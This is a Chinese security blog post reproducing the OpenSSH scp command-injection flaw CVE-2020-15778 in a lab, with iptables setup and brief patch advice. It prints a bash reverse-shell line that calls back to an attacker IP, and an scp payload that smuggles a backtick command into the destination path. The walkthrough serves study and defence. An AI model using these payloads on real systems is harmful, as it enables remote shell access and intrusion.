OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐

0x00 漏洞介绍

CVE编号:CVE-2020-15778

发布时间:2020-07-24

危害等级:高危

漏洞版本:<= openssh-8.3p1

漏洞描述:OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

利用条件:知道目标的ssh密码

0x01 模拟场景

设置iptables策略模拟仅允许使用scp的场景,让该漏洞在特殊环境下实现命令注入。

0x02 实验场景部署

靶机环境:Centos 7

渗透机环境:Kali 2019版本

1、查看ssh版本

ssh -V

图片[1]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

测试为漏洞存在版本。

2、测试ssh与scp在正常情况下的使用情况。

图片[2]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

可以正常使用。

3、执行ervice iptables status 检查是否安装iptables,若已安装IP tables,可跳过第三步。

(1)安装iptables

yum install -y iptables 

(2)安装iptables-services

yum install iptables-services 

(3)centOS7默认自带firewalld

先停止firewalld服务 
systemctl stop firewalld
禁用firewalld服务
systemctl mask firewalld  

(4)查看现有规则

iptables -L -vn

iptables -F是清空默认规则

iptables -L -n –line-number 显示规则和相对应的编号

4、在Centos中设置iptables策略,禁用ssh远程连接,但开放scp。

图片[3]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

命令:

service iptables start
iptables -t filter -A INPUT -p tcp --dport 22 -m tos --tos 0x10 -j DROP
service iptables save
iptables -L -n --line-number

5、测试ssh与scp在已设置iptables策略下的使用情况。

图片[4]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

0x03 SSH命令注入漏洞复现

1、在kali创建一个1.sh文件,并写入一个反弹shell的bash命令。

bash -i >& /dev/tcp/192.168.207.156/4444 0>&1

图片[5]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

2、使用scp命令,把该文件上传到靶机的/tmp下

图片[6]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

3、在新建的命令行页面中输入命令:

图片[7]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

4、使用POC,远程执行命令。

scp 1.sh [email protected]:'`sh /tmp/1.sh`'

图片[8]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

5、可以看到,在输完密码后,稍等一会就已经成功反弹了shell,实验结束。

图片[9]-OpenSSH 命令注入漏洞(CVE-2020-15778) – 作者:touch锐-安全小百科

0x04 漏洞防御

1、先确保ssh密码没有泄露,等一波openssh的新版本吧

2、升级ssh版本

3、等待厂商发布补丁

来源:freebuf.com 2020-12-22 11:47:00 by: touch锐

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论